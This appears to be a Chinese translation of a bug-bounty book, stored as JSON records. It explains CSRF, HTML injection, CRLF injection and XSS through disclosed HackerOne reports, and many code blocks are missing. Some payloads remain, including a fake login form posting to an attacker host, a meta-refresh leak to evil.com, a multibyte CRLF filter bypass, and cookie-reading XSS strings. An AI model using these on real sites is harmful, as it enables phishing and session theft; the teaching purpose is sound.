    {"text": "未知 4.6 改变用户的Instacart地区攻击 难度： 低 URL： https://admin.instacart.com/api/v2/zones/ 报告位置： https://hackerone.com/reports/157993/ 报告日期： 2015年8月9日 支付奖金： 100美元 当你考虑攻击面风险时，记得除了要考虑网站的网页，也要考虑网站的API端点。Instacart是一个杂货配送应用程序，它允许配送者定义他们工作的地区。Instacart网站通过向管理子域发送POST请求来更新这些地区。黑客发现这些子域的地区端点存在CSRF攻击风险。例如，你可以通过如下代码修改目标地区： 在本例中，黑客构建了一个HTML表单以发起发送到/api/v2/zones端点的HTTP POST请求❶。黑客在HTML表单中包含了两个隐藏输入：一个用来设置用户新的地区为邮政编码10001❷，另一个用于设置API的override参数为true❸，以便使用户当前的邮政编码可以被黑客提交的邮政编码所替换。此外，黑客采用了提交按钮来发起POST请求，不像Shopify的那个例子，在那里采用的是自动提交的JavaScript脚本功能。 尽管本例仍然是成功的，但是黑客可以进一步通过我们前面讲过的技术，例如使用隐藏iFrame代表目标对象自动提交请求，来改进这一漏洞利用。这向Instacart漏洞悬赏实践者显示了黑客如何在较少的目标操作下利用漏洞；被攻击者完全控制的漏洞利用相对于没有完全控制的漏洞利用更容易成功。 要点 当你寻找可以利用的漏洞时，要拓宽你的攻击范围，跳出仅仅考察基于网站的网页的漏洞，应该进一步考察网站的API端点的漏洞，这样你可能会发现更多潜在的漏洞。有时，开发者会忘记黑客可以发现和利用API端点漏洞，因为它们不像网页一样具有可读性。例如，移动应用程序通常都是向API端点发起HTTP请求，这一点你可以通过Burp或ZAP工具监测到，就像你在监测Web网站时所做的那样。针对上述情况，防御方也需要多加注意。"},
    {"text": "未知 4.7 Badoo全账号接管 难度： 中 URL： https://www.badoo.com/ 报告位置： https://hackerone.com/reports/127703/ 报告日期： 2016年4月1日 支付奖金： 852美元 尽管开发者通常使用CSRF令牌来抵御CSRF漏洞攻击，但是在有些情况下，攻击者可以窃取令牌，就像你将在本漏洞案例中看到的一样。当你浏览社交网站https://www.badoo.com/时，你会发现该网站采用了CSRF令牌技术。特别地，该网站针对每个用户都使用了一个不同的URL参数rt。当Badoo的漏洞悬赏挂在HackerOne上时，我找不到该网站的漏洞利用的方法。但是Mahmoud Jamal做到了。 Jamal深知rt这个参数及其含义，他也注意到了几乎所有的JSON响应中都包含该参数。不幸的是，由于响应信息是采用application/json内容类型进行编码的，故CORS禁止了黑客读取Badoo的任何响应数据，因此这对于破解似乎没有什么帮助。但是，Jamal还是继续尝试进行漏洞的挖掘。 最后，Jamal发现了JavaScript文件https://eu1.badoo.com/worker-scope/chrome-service-worker.js包含一个变量url_stats，并被设置了如下的值： 变量url_stats中存放了一个URL，该URL包含了当用户浏览器访问该JavaScript文件时传送的用户唯一的rt值参数❶。为了得到用户的rt值，攻击者仅仅需要引导目标对象去访问一个将会访问该JavaScript文件的恶意网页。CORS不会阻止这些发生，因为浏览器是允许从外部资源读取或嵌入远程JavaScript文件的。然后攻击者使用该rt值将该用户的Badoo账号与任何可能的社交媒体账号关联。结果，攻击者就可以调用HTTP POST请求去修改目标对象的账号。下面是Jamal用于完成这次漏洞利用的HTML页面： 当目标对象加载该网页时，网页将会加载<script>标签中src属性所指向的Badoo JavaScript文件❶。在加载完这个JavaScript脚本后，网页会调用JavaScript函数windows.onload，它定义了一个匿名的JavaScript函数❸。浏览器在网页加载时会调用onload事件句柄，因为Jamal定义的函数是在windows.onload句柄中，所以当页面加载时，他的函数总是会被调用。 接下来，Jamal定义了一个变量csrf_code❹，并且把他在❷处定义的getCSRFcode函数的返回值赋值给这个变量。getCSRFcode函数接收一个字符串，并且通过字符'='作为分隔符把该字符串分解为一个字符串数组。当该函数在❹处解析来自Badoo的JavaScript文件中的url_stats变量时，将该字符串分解为如下数组值： 然后该函数返回数组的第三个元素，即rt值，并且赋值给csrf_code。 一旦拿到了CSRF令牌，Jamal就可以创建一个csrf_url变量，用来存储指向Badoo的/google/verify.phtml网页的URL。这个网页将Jamal自己的Google账号与目标对象的Badoo账号关联起来❺。该网页需要一些参数，这些参数都是硬编码为URL字符串的。我不想在这里详细描述这些参数，因为他们是Badoo特有的。然而，注意最后一个参数rt，它并不是硬编码的。实际上，csrf_code是级联到URL字符串末尾的，因此它是作为rt参数值进行传递的。然后Jamal通过调用window.location并赋值csrf_url来发起一个HTTP请求❻，这将重定向用户的浏览器到❺处的URL。这会导致向Badoo发起一个GET请求，Badoo会验证rt参数并处理该请求，将目标对象的Badoo账号与Jamal的Google账号关联起来，这样就完成了账号接管的全部过程。 要点 无风不起浪。Jamal注意到参数rt具有不同的地区返回值，特别是在JSON响应消息中也是这样。正因为如此，他直觉猜测rt可能在某些地方会显露出来，从而可以被攻击者访问和利用，就像我们例子中的JavaScript文件一样。如果你感觉某个网站可能存在漏洞，记得一定要坚持进行挖掘并告知该网站。在本例中，我认为如果CSRF令牌仅仅有5个数字的长度并包含在URL中，那么它将是奇怪的。一般来说，令牌要比这个长很多，这样使得它们更难被猜出来，而且一般都是包含在HTTP POST请求体而不是URL中。当你访问一个网站或应用时，可以使用代理来查看都调用了哪些资源。Burp允许你检索所有代理历史数据以查找特定的词或数值，这将有助于发现本例中JavaScript文件中包含的参数rt的取值。你也可能会发现敏感数据的信息泄露，例如CSRF令牌。 未知 4.8 总结 CSRF漏洞代表了另一种攻击向量，攻击者甚至可以在目标对象不知情也没有执行任何操作时就完成了攻击行为。找出CSRF漏洞需要一些独创性以及愿意尝试测试网站上所有功能的意愿。 通常情况下，应用程序框架，例如Ruby On Rails，越来越多地保护Web表单的POST请求，但是却没有保护GET请求。因此，要时刻注意任何修改服务器端用户数据（就像断开Twitter账号的连接一样）的GET HTTP请求。另外，尽管我没有涉及这样一个例子，如果你发现一个网站正在使用POST请求发送CSRF令牌时，你可以试着修改CSRF令牌值或者将其完全删除以确保服务能够正常验证令牌的存在性。当然，你需要将发现的漏洞提交给网站，以便修补。"},
    {"text": "未知 第5章 HTML注入和内容欺骗 超文本标记语言（HTML）注入和内容欺骗都是恶意用户向网站的Web页面注入内容的攻击。攻击者可以注入他们自己设计的HTML元素，通常情况下是模仿合法登录窗口的<form>标签，以欺骗目标对象提交敏感信息到恶意网站。因为该种攻击依赖于欺骗目标对象来实现（有时也叫作社会工程学），漏洞奖励项目把内容欺骗和HTML注入看作本书中严重程度最轻微的漏洞。 当网站允许攻击者通过某些表单的输入或URL参数提交可以在网页上直接呈现的HTML标签时，HTML注入漏洞就会发生。这有点像跨站脚本攻击，所不同的是，跨站脚本攻击考虑了恶意JavaScript的执行，这些将在第7章中讨论。 HTML注入有时也叫作虚拟破坏。这是因为开发者是使用HTML语言来定义网页结构的。因此如果攻击者能够注入HTML并且也被网站呈现出来，攻击者就可以改变网页的外观。欺骗用户通过虚假表单提交个人敏感信息的技术叫作钓鱼。 例如，如果一个页面能够呈现你能控制的内容，你就能在页面上增加一个<form>标签，以要求用户重新输入用户名和口令，如下所示： 当用户提交了该表单，用户名和口令就会通过action属性❶发送到攻击者的网站http://<attacker>.com/capture.php。 内容欺骗与HTML注入非常类似，不同的是内容欺骗仅能注入纯文本而不能注入HTML标签。有这种限制主要是因为当网站服务器端发送HTTP响应消息时，它要么转义包含的任何HTML，要么会剥离HTML标签。尽管攻击者不能用内容欺骗格式化网页内容，但是他们可以插入文本，例如插入看起来像是合法网站内容的一条消息。这些消息可以欺骗目标对象去执行一些特定操作，当然这十分依赖社会工程学。下面的例子展示了你如何去探索这些漏洞。 未知 5.1 通过字符编码进行Coinbase评论注入攻击 难度： 低 URL： https://coinbase.com/apps/ 报告位置： https://hackerone.com/reports/104543/ 报告日期： 2015年12月10日 支付奖金： 200美元 有些网站会过滤HTML标签以抵御HTML注入攻击，然而理解了HTML实体字符是如何工作的，就有可能绕过这种防御。对于该漏洞，报告者指出当Coinbase网站呈现给用户时会解码HTML实体。在HTML中，有些字符是保留的，因为它们具有特殊的用途（例如，<>表示HTML标签的开始和结束），而未保留字符是没有特殊含义的正常字符（例如，字母表中的字母）。保留字符可以采用它们的HTML实体名称来呈现，例如，字符>应该被网站呈现为&gt;，以避免注入漏洞攻击。但是未保留字符也可以用它的HTML编码来呈现，例如，字母a可以呈现为&#97;。 对于该漏洞来说，漏洞报告者先在用于显示给用户的文本输入域中输入纯HTML文本，例如： Coinbase会过滤该HTML并只显示纯文本，因此提交的文本将会以正常形式显示出来。显示时看起来就像是只输入了纯文本而把HTML标签都过滤掉了。但是，如果用户以HTML编码的形式提交文本，就像这样： Coinbase将不会过滤HTML标签，并且将把该字符串解码为HTML，这将会导致网站呈现出提交的<h1>标签： 使用HTML编码方式，提交该报告的黑客显示了他是如何使得Coinbase呈现用户名和口令的输入域的： 这个HTML的页面效果看起来如下： 呈现的结果看起来像是要求输入用户名和口令进行登录的地方。恶意的攻击者可以使用该漏洞欺骗用户提交一个真正的表单到恶意网站，从而获取他的登录凭证。然而，该漏洞依赖于被骗用户相信这个登录页面是真的，并且提交了他们的登录信息，但这一点是不能保证的。因此，Coinbase支付了一个相对于不需要用户交互的漏洞更低的奖金给该漏洞报告者。 要点 当你测试一个网站时，检查一下它是怎样处理不同类型的输入的，包括纯文本和编码文本。关注接收URL编码值（例如%2F）并呈现解码后的值（本例中为/）的网站。 在 https://gchq.github.io/CyberChef/ 中，你可以找到编码工具的百宝箱。使用这些工具并且尝试它支持的不同编码类型，将对你的漏洞探索之旅很有帮助。"},
    {"text": "未知 5.2 HackerOne非预期HTML包含漏洞 难度： 中 URL： https://hackerone.com/reports/<report_id>/ 报告位置： https://hackerone.com/reports/110578/ 报告日期： 2016年1月13日 支付奖金： 500美元 本例和下一节中的例子都需要理解Markdown、悬挂单引号、React和文档对象模型（DOM），因此，我将先介绍这些概念，然后再看它们是如何导致这两个漏洞的。 Markdown是一种使用特定语法生成HTML的标记语言。例如，Markdown会接受和解析以#为前导的纯文本并返回以标题标签格式化的HTML。标记# Some Content将会生成HTML标签<h1>Some Content</h1>。开发者在网站编辑器中使用Markdown，主要是因为它使用起来非常简单。另外，在允许用户提交输入的网站上，开发者不必担心HTML会发生格式错误，因为编辑器会自动处理并生成相应的HTML。 本节讨论的漏洞使用Markdown语法生成一个具有title属性的<a>锚标签。通常情况下，语法如下： 中括号中的文本就是要显示的文本，链接到该文本的URL包含在小括号中，并且具有一个title属性，该属性包含在一对双引号中。该语法产生如下的HTML： 2016年1月，漏洞挖掘者Inti De Ceukelaire发现HackerOne的Markdown编辑器存在配置错误，攻击者可以在使用Markdown编辑器的任何地方向Markdown语法注入一个悬挂单引号，并将在最终生成的HTML中呈现出来。漏洞奖励项目管理页面和相应的报告页面都存在这个漏洞风险。这一点非常重要：如果攻击者能够在管理页面上发现另一个漏洞并在<meta>标签页的开始处注入另一个悬挂单引号（注入整个<meta>标签，或者在<meta>标签中注入内容），就可以利用浏览器的HTML解析来提取网页内容。原因在于<meta>标签会告诉浏览器通过其content属性中定义的URL来刷新网页。当呈现该网页时，浏览器就会向指定的URL发起GET请求。页面内容就可能会被作为GET请求的参数发送出去，攻击者就可以基于这些内容来获取目标对象的数据。下面是一个具有注入单引号的恶意<meta>标签的例子： 0定义了浏览器在向URL发起HTTP请求时需要等待的时间。本例中，浏览器将立即向https://evil.com/log.php?text=发起HTTP请求。HTTP请求将包含content属性开始处的单引号与攻击者使用Markdown解析器注入网页上的第二个单引号之间的所有内容。示例如下： 从content属性在❶处的第一个单引号开始到❷处攻击者注入的单引号为止的网页内容，都将作为URL text参数的一部分发送给攻击者。当然也包含隐藏在input域中的敏感跨站请求伪造（CSRF）令牌。 通常，这种HTML注入风险对于HackerOne来说并不是问题，因为它使用了React JavaScript框架来呈现HTML。React是Facebook开发的用于自动更新网页内容而不必重新加载整个网页的框架库。React的另一个优点是除非使用JavaScript函数dangerouslySetInnerHTML来直接更新DOM或者呈现HTML，否则它会转义所有HTML（DOM是HTML和XML文档的API，允许开发者通过JavaScript修改网页的结构、风格和内容）。事实证明，HackerOne使用了dangerouslySetInnerHTML，因为它相信从服务器接收到的HTML，因此，它就在DOM中被直接注入了HTML而没有进行转义。 尽管Ceukelaire不能利用该漏洞，但他确实标识出了在HackerOne加载CSRF令牌后他能注入单引号的网页。因此从概念上来说，如果HackerOne将来做了代码修改并且允许攻击者能够在同一个页面的<meta>标签中注入另一个单引号的话，攻击者就可以提取目标对象的CSRF令牌进而发起CSRF攻击。HackerOne认可了这个潜在的威胁，修复了报告中的漏洞，并支付了500美元奖金。 要点 深入理解浏览器如何呈现HTML和响应特定HTML标签的细微差别，将为我们打开一个很大的攻击面。尽管并不是所有的漏洞奖励项目都会接受关于潜在理论攻击的漏洞报告，但是这些知识的确有助于发现其他漏洞。FileDescriptor在 https://blog.innerht.ml/csp-2015/#contentexfiltration 中有很多关于<meta>刷新利用的解释说明，你可以去看看。"},
    {"text": "未知 5.3 HackerOne非预期HTML包含补丁绕过漏洞 难度： 中 URL： https://hackerone.com/reports/<report_id>/ 报告位置： https://hackerone.com/reports/112935/ 报告日期： 2016年1月26日 支付奖金： 500美元 当一个组织创建了修复程序并解决了报告中的问题后，并不总代表就免于漏洞困扰了。在读完Ceukelaire的漏洞报告后，我决定测试一下HackerOne的漏洞修复程序，看一看Markdown编辑器是怎样呈现非预期输入的。为此，我提交了如下代码： 回想一下，为了用Markdown创建一个锚标签，你通常需要提供一个URL和一个由双引号括起来的title属性。为了解析title属性，Markdown需要先找到左双引号，然后是随后的内容，最后是右双引号。 我好奇的是，是否可以通过增加附加的随机双引号和属性来让Markdown在解析过程中发生错乱，Markdown会不会在额外增加的双引号处重新错误地开始解析属性内容。这就是我在上面的代码中加入ismap=（一个有效的HTML属性）、yyy=（一个无效的HTML属性）和额外的双引号的原因。当提交该输入后，Markdown编辑器解析该代码为如下的HTML： 可见，来自Ceukelaire报告的修复程序造成的结果是更为不可预测的漏洞，它会使Markdown解析器生成任意HTML。尽管我没有立即利用该漏洞，但是已经包含了未转义的HTML就足以作为漏洞验证程序（POC）了，从而让HackerOne不得不撤销之前的修复程序并使用不同的解决方案来纠正以上问题。可以注入任意HTML标签的事实可能会导致漏洞，因此，HackerOne向我支付了500美元的奖金。 要点 仅仅更新代码，并不能说明所有的漏洞都被修复了。要确保对变化后的代码进行渗透测试，而且要持续地进行测试。部署补丁程序，意味着这是新的代码，就有可能包含漏洞。 未知 5.4 Within Security内容欺骗漏洞 难度： 低 URL： https://withinsecurity.com/wp-login.php 报告位置： https://hackerone.com/reports/111094/ 报告日期： 2016年1月16日 支付奖金： 250美元 Within Security是HackerOne的一个网站，主要用于共享安全新闻。它构建于WordPress之上，并且在页面with-insecurity.com/wp-login.php中包含了一个标准的WordPress登录路径。黑客注意到在登录的过程中，如果发生了错误，Within Security会返回一个access_denied错误消息，这与如下URL中的error参数是一样的： 注意到这一点，黑客会尝试修改该参数内容。结果就是，网站会将传递给该参数的任何值作为错误信息的一部分显示给用户，即使URI编码的字符也可以正常解码。下面是黑客修改后的URL的例子： 该参数将作为一个错误消息显示在WordPress登录域之上。该消息引导用户去联系黑客控制的电话号码或邮箱（见图5-1）。 图5-1 黑客可以注入“警告信息”到WordPress的管理页面 这里的关键是URL中error参数的内容会在页面上进行显示。简单地测试你是否可以修改access_denied参数值就能发现该漏洞。 要点 注意被作为网站内容进行传递和呈现的URL参数。这些参数可能会给文本注入漏洞提供机会，从而使黑客可以利用这些漏洞针对目标对象进行钓鱼。在网站上呈现可控的URL参数有时会导致跨站脚本攻击（将在第7章介绍）。除此之外，该漏洞只能造成影响较小的内容欺骗和HTML注入攻击。虽然平台根据该报告支付了250美元，但这是针对Within Security的可以支付的最低奖金。并不是所有的漏洞奖励项目都认可HTML注入和内容欺骗报告并愿意支付奖金，就像社会工程学一样，最后能否成功太依赖于目标对象已经被注入文本欺骗了这个前提。 未知 5.5 总结 HTML注入和内容欺骗使得黑客可以输入信息，使HTML页面对这些信息做出反应并显示给目标对象。黑客可以使用这些攻击手段对用户进行钓鱼，从而欺骗他们访问恶意网站并提交敏感信息。 挖掘这类漏洞不仅要关注提交的纯HTML，还要关注网站是怎样呈现输入文本的。黑客应该关注操作可以直接在网站上呈现的URL参数的机会。 未知 第6章 回车换行注入 有些漏洞使得用户可以在HTML和HTTP响应消息中输入具有特殊含义的编码字符。通常情况下，应用程序都会滤除用户输入的这种特殊含义的字符以抵御恶意修改HTTP消息的黑客攻击，但有些时候，应用程序会忘记滤除或不能进行正常的滤除。当这种情况发生时，服务器、代理和浏览器将会把这些特殊字符作为代码进行解析，从而修改了原始的HTTP消息，这样就会使攻击者可以操纵应用程序。 有两个特殊编码字符%0D和%0A，分别代表\\n（回车）和\\r（换行）。这两个编码字符通常叫作回车换行符（CRLF）。服务器和浏览器都是通过CRLF字符来识别HTTP消息中的不同部分的，例如消息头。 当应用程序没有对用户输入进行特殊字符过滤或者不能正确过滤时，就可能发生回车换行注入（CRLF注入）漏洞。如果攻击者可以在HTTP消息中注入CRLF字符，就可以发起本章中我们要讨论的两种攻击：HTTP请求夹带攻击和HTTP响应分割攻击。另外，你可以在漏洞报告中将CRLF注入漏洞与其他漏洞联合使用以证明该漏洞具有更大的风险，就如我将在本章中描述的那样。基于本书的目的，我们将不提供怎样利用CRLF注入漏洞以实现HTTP请求夹带的示例。"},
    {"text": "未知 6.1 HTTP请求夹带攻击 当攻击者利用CRLF注入漏洞在一个原始合法的HTTP请求后附带上另一个HTTP请求时，就会发生HTTP请求夹带攻击。由于应用程序不能预见有注入的CRLF，所以它会把两个HTTP请求合在一起，将其看作一个单个的HTTP请求。该请求被传递给接收服务器（典型地，一个代理服务器或者防火墙）进行处理，然后被发送到另一个服务器，例如代表网站执行相应业务操作的应用服务器。这种漏洞可以导致缓存投毒、防火墙绕过、请求劫持、HTTP响应分割等攻击。 在缓存投毒情形下，攻击者可以修改应用程序缓存中的条目，可以用恶意的网页代替正常的网页提供服务。当HTTP请求用CRLF进行精心设计并免于防火墙的安全检查时，就可以实现防火墙绕过。请求劫持的情形是指攻击者可以在无须攻击者与客户端交互的情况下就可以窃取httponly cookie以及HTTP身份认证信息。这些攻击之所以能够发生作用，是因为服务器会将CRLF解释为HTTP头开始的位置，因此如果服务器在CRLF之后看到了另一个头部，它们会将它解释为另一个新的HTTP请求的开始。 本章后面将聚焦HTTP响应分割攻击，这种攻击方式允许攻击者通过注入浏览器能够解析的新响应头对原本单一的HTTP响应消息进行分割。依赖于漏洞的特性，攻击者可以采用两种方法中的一种来利用HTTP响应分割。第一种方法是，攻击者使用CRLF字符结束服务器的初始响应并插入额外的头消息以生成一个新的HTTP响应。然而，有些时候攻击者仅修改响应消息而并不注入一个全新的HTTP响应。例如，他们可能只是注入几个有限字符。这导致了第二种利用响应分割的方法，即插入新的HTTP响应头信息，例如Location头。注入Location头将会使攻击者能够将CRLF漏洞与重定向目标对象到恶意网站或者跨站脚本攻击（XSS）联合使用。 未知 6.2 v.shopify.com响应分割攻击 难度： 中 URL： v.shopify.com/last_shop?<YOURSITE>.myshopify.com 报告位置： https://hackerone.com/reports/106427/ 报告日期： 2015年12月22日 支付奖金： 500美元 在2015年12月，HackerOne的用户krankopwnz报告Shopify没有对传递给URL v.shopify.com/last_shop?<YOURSITE>.myshopify.com的商店参数进行验证。Shopify发送一个GET请求给该URL，以便设置一个记录用户访问过的最后一个商店的cookie。结果是，攻击者可以在URL中包含CRLF字符%0d%0a（编码时不区分大小写）作为last_shop参数的一部分。当这些字符被提交后，Shopify将使用整个last_shop参数值来生成HTTP响应中新的头部信息。下面是krankopwnz注入商店名称中以测试如何利用该漏洞的一段代码： 因为Shopify用不进行过滤的last_shop参数值来设置HTTP响应中的cookie，所以响应消息就会包含浏览器解释为两个响应消息的全部内容。字符%20表示空格的编码，当响应消息被浏览器接收后就会解码。 上面的响应消息被浏览器接收后解码为： 响应消息的第一部分为原始的HTTP响应头。原始响应的内容长度被声明为0❶，这告诉了浏览器在响应体中没有内容。接着，CRLF开始了一个新的行和一个新的响应头。相应的文本建立了一个新的响应头信息并告诉浏览器有第二个响应，它是HTML格式的并且长度为19。然后在❷处，头信息又进一步给出了浏览器用于呈现的HTML。当一个恶意攻击者可以使用注入过的HTTP头时，就可能会存在各种各样的漏洞，这些漏洞中就包含我们将在第7章详细探讨的XSS。 要点 关注网站接受输入信息作为响应头的一部分内容的情况，特别是当这部分输入信息用于设置cookie时。当你在某个网站发现有这种情况时，试着提交%0D%0A（在IE浏览器中是%0A%20）以检查该网站是否对CRLF注入采取了防护措施。如果网站没有采取CRLF防护措施，就测试一下你是否能够加入新的消息头或者加入一个额外的完整HTTP响应。该漏洞在很少有用户交互时（如在GET请求中）最容易被利用。"},
    {"text": "未知 6.3 Twitter HTTP响应分割攻击 难度： 高 URL： https://twitter.com/i/safety/report_story/ 报告位置： https://hackerone.com/reports/52042/ 报告日期： 2015年3月15日 支付奖金： 3500美元 当你在寻找漏洞时，记住要跳出思维定式，并提交编码后的值来查看网站如何处理这些输入信息。在某些情况下，网站会通过使用黑名单来抵御CRLF注入攻击。换句话说，网站会对照黑名单检测输入中的每个字符，然后相应地通过删除这些黑名单上的字符或不允许发出HTTP请求来给出响应。然而，攻击者有时可以通过字符编码规避黑名单检查。 2015年3月，FileDescriptor操纵了Twitter处理字符编码的方式，从而发现了一个允许他通过HTTP请求设置cookie的漏洞。 FileDescriptor测试的HTTP请求包含了一个发往https://twitter.com/i/safety/report_story/（一个Twitter用于存放用户所报告的不当广告的存档网址）的reported_tweet_id参数。当进行响应时，Twitter也会返回一个包含随HTTP请求提交过来的该参数的cookie。在FileDescriptor的测试过程中，他注意到CR和LF字符已经上了黑名单并且会被滤除。Twitter会用空格替换LF，并且当接收到CR时会返回一个HTTP 400（错误的请求）错误，因此就抵御了CRLF注入攻击。但是FileDescriptor知道一个Firefox（火狐浏览器）的漏洞，该漏洞不能正确解码cookie并且可能会允许用户向网站中注入恶意的负载数据。对该漏洞的了解促使他进一步去测试Twitter上是否也有类似的漏洞。 在Firefox漏洞中，Firefox会删除cookie中除ASCII字符之外的任何Unicode字符。但是Unicode字符可以是由多字节构成的。如果一个多字节字符中的某些字节被删除了，那么剩下的字节可能就会成为用于网页呈现的恶意字符。 FileDescriptor测试了使用同样的多字节字符技术，攻击者是否可以通过Twitter的黑名单机制偷偷地剩下一个恶意字符。随后FileDescriptor发现了一个Unicode字符，它的编码以%0A（LF）结尾，并且其他的字节对应的字符并不包含在HTTP字符集中。他使用了Unicode字符“嘊”，它的十六进制编码为U+560A（56 0A）。但是当该字符被用在URL中时，它将被UTF-8编码为URL字符%E5%98%8A。这三个字节%E5 、%98、%8A规避了Twitter的黑名单检查，因为它们不是恶意字符。 当FileDescriptor提交该值时，他发现Twitter不会滤除这些URL编码的字符，并且仍然可以将这些UTF-8编码的字符%E5%98%8A解码为Unicode值56 0A。Twitter将56作为无效字符丢弃，留下了换行符0A。另外，他发现字符“嘍”（Unicode编码为56 0D）也可以用来在HTTP响应中插入必要的回车符（%0D）。 当他确信这种方法可行时，FileDescriptor传给Twitter的URL参数为%E5%98% 8A%E5%98%8DSet-Cookie:%20test。Twitter将解码这些字符，去除超出范围的字符，在HTTP请求中留下了%0A和%0D，最后得出的值为%0A%0DSet-Cookie:%20test。CRLF将拆分HTTP响应为两个响应，并且第二个响应将仅由Set-Cookie:test构成，这正是用于设置cookie的HTTP头。 当考虑XSS攻击时，CRLF攻击将会变得更为危险。尽管对于本例来说利用XSS的细节并不重要，FileDescriptor还是进一步给出了这种漏洞验证程序（POC）。他通过如下URL向Twitter显示了如何利用该CRLF漏洞来执行恶意JavaScript： 其中最重要的细节是贯穿其中的3字节值：%E5%98%8A、%E5%98%8D、%E5%98%BC和%E5%98%BE。在进行解码和字符滤除后，剩下的部分分别为%0A、%0D、%3C和%3E，这些都是特殊的HTML字符。%3C表示左尖括号（<），%3E表示右尖括号（>）。 HTTP响应中HTML包含的其他字符如上。因此，当编码字符解码并用换行符分割后，头部信息如下： 上面的负载将被解码为注入头信息content-type text/html，这告诉了浏览器响应消息中包含HTML。而后面的Location头使用了一个<svg>标签来执行JavaScript代码alert(innerHTML)。alert代码通过使用DOM的innerHTML属性（innerTHML属性返回给定元素对应的HTML）创建了一个包含网页内容的告警窗口。在这种情况下，告警信息可能会包含已登录用户的会话cookie和身份认证cookie，以表明攻击者可以窃取这些信息。窃取身份认证cookie使得攻击者可以登录目标对象的账号，这也解释了为什么FileDescriptor因发现该漏洞而获得了3500美元的奖励。 要点 如果服务器会以某种方式滤除字符%0D%0A，请你考虑网站是怎样做到的，而你是否能够规避这些，比如使用双重编码。你可以使用传递多字节字符并检查这些字符是否被解码为其他字符来测试网站是否会不当处理额外的字符 。 未知 6.4 总结 CRLF漏洞使得攻击者可以通过修改头部信息来操纵HTTP响应消息。利用CRLF漏洞可能会导致缓存投毒、防火墙绕过、请求劫持或HTTP响应分割等攻击行为。因为CRLF漏洞是网站不过滤返回的头部信息中的%0D%0A导致的，所以当进行破解时，监测和检查所有的HTTP响应消息就显得十分重要。另外，如果你确实发现了你能够控制HTTP头中正在返回的输入信息，但是字符%0D%0A又被过滤了，可以试着像FileDescriptor做的那样，在输入中包含多字节编码的字符以确定网站针对这类输入的解码过程是怎样处理的。"},
    {"text": "2005年10月，Kamkar利用Myspace上的一个漏洞，成功地在其个人信息文件中存储了JavaScript负载。 每当一个登录用户访问他的Myspace个人信息文件时，JavaScript代码就会执行，让浏览者成为Kamkar的Myspace好友，更新浏览者的个人信息文件并显示文本“最重要的是，Samy是我的英雄”（But most of all，Samy is my hero）。"},
    {"text": "例如，如果网站没有滤除尖括号，你就可以插入<script></script>以注入一个负载，比如： 当你提交该负载到不进行特殊字符过滤的网站时，<script></script>标签会要求浏览器执行标签中的JavaScript代码。"},
    {"text": "例如，一个针对敏感cookie并没有设置httponly标志的网站的XSS漏洞与设置了httponly标志的网站的XSS漏洞是不同的。 当网站没有设置httponly标志时，你的XSS可以读取cookie值，如果这些cookie值包含了会话相关的cookie，你可能会窃取到目标对象的会话并获取他们的账号。"},
    {"text": "你可以通过告警显示document.cookie来确认你能够读取敏感cookie（确定网站中哪些cookie是敏感的，有时需要反复试验）。 即使不能获取敏感cookie，你也可以通过告警显示document.domain来确认你是否能够从DOM获取敏感用户信息并代表目标对象执行相应操作。"},
    {"text": "举个例子，如果你在iFrame沙箱中告警显示document.domain，那么你的JavaScript代码可能就是无害的，因为它不能读取cookie，不能以用户账号身份执行操作，也不能从DOM中读取敏感用户信息。"},
    {"text": "例如，如果你访问过www.<malicious>.com，并在你的浏览器中发起一个到www.<example>.com/profile的GET请求，SOP将会阻止www.<malicious>.com读取www.<example>.com/profile的响应消息。"},
    {"text": "表7-1显示了来源的例子，以及它们在http://www.<example>.com/中是否会被认为是同一个来源。 表7-1 SOP示例 在有些情况下，URL并不与它的来源匹配。"},
    {"text": "当你发现一个XSS漏洞时，在你的漏洞验证程序中使用alert(document.domain)是有帮助的：它将确认XSS是在哪个来源上执行的，当浏览器中显示的URL与XSS执行所在的来源不一样时更是如此。"},
    {"text": "当一个网站打开javascript:URL时就会发生这种情况。 如果www.<example>.com打开一个javascript:alert(document.domain) URL，浏览器地址栏将会显示javascript:alert(document.domain)。"},
    {"text": "你可以通过修改value属性值为hacker\"onfocus=alert(document.cookie) autofocus\"来实现，结果如下： autofocus属性告诉浏览器一旦页面加载完成，就把光标焦点放在该输入文本框之上。 JavaScript属性onfocus告诉浏览器当输入文本框获取到光标焦点时，就执行JavaScript脚本（如果没有autofocus，onfocus会在人工点击文本框时触发）。"},
    {"text": "如果你能够在下面代码的name变量值里注入单引号，就可以替换该变量值并执行你自己的JavaScript脚本： 因为我们控制了值hacker，改变name变量值为hacker';alert(document.cookie);'将得到如下结果： 注入一个单引号和分号来关闭变量name。 因为我们在使用<script>标签，JavaScript函数alert(document.cookie)也将被注入并执行。 我们增加了一个额外的;'来结束函数调用并确保JavaScript是语法正确的，因为网站已经包含了一个';用于关闭name变量。"},
    {"text": "未知 7.1 XSS的类型 XSS主要有两种类型：反射型和存储型。当不存储在网站任何地方的单个HTTP请求传递给网站并执行XSS负载时，就会发生反射型XSS。浏览器，包括Chrome、IE和Safari，都是通过引进XSS审计器 来防止这类漏洞的。XSS审计器会尝试保护用户，使其免于执行JavaScript的恶意链接。当XSS尝试执行时，浏览器会显示一个断开的页面，并在该页面上显示一条消息，以说明阻断该连接是为了保护用户。图7-1显示了Google Chrome浏览器的一个例子。 图7-1 Google Chrome浏览器中一个被XSS审计器阻断的页面 尽管浏览器开发者付出了很大努力，攻击者还是经常能够绕过XSS审计器，这是因为JavaScript能够在网站上以复杂的方式运行。因为这些绕过XSS审计器的方法经常变化，它们超出了本书的范围。但是进一步学习的两个重要的资源是FileDescriptor发表在 https://blog.innerht.ml/the-misunderstood-x-xss-protection/ 的博客文章和Masato Kinugawa发表在 https://github.com/masatokinugawa/filterbypass/wiki/Browser’s-XSS-Filter-Bypass-Cheat-Sheet/ 的过滤器绕过备忘录。 相反，存储型XSS发生在当网站存储了恶意负载并且不经过滤就进行页面呈现时。网站也可能会在不同的地方呈现输入的负载。负载可能在提交之后不会立刻执行，而是在另一个页面被访问时才执行。例如，如果你在网站上创建了一个具有以XSS负载为你的名字的个人信息文件，那么当你查看你的个人信息文件时，XSS不会执行，但是，当某人搜索你的名字或者给你发送一个消息时，它可能就会执行。 你也可以把XSS分为如下三个子类：基于DOM型（DOM-based）、隐藏型（blind）、自有型（self）。 基于DOM的XSS 包含操纵网站现有的JavaScript代码以执行恶意的JavaScript代码，它可以是存储型的，也可以是反射型的。例如，假定网页www.<example>.com/hi/不检查URL中的恶意输入，而是使用下面的HTML替换它的网页内容，那么它很有可能会执行XSS。 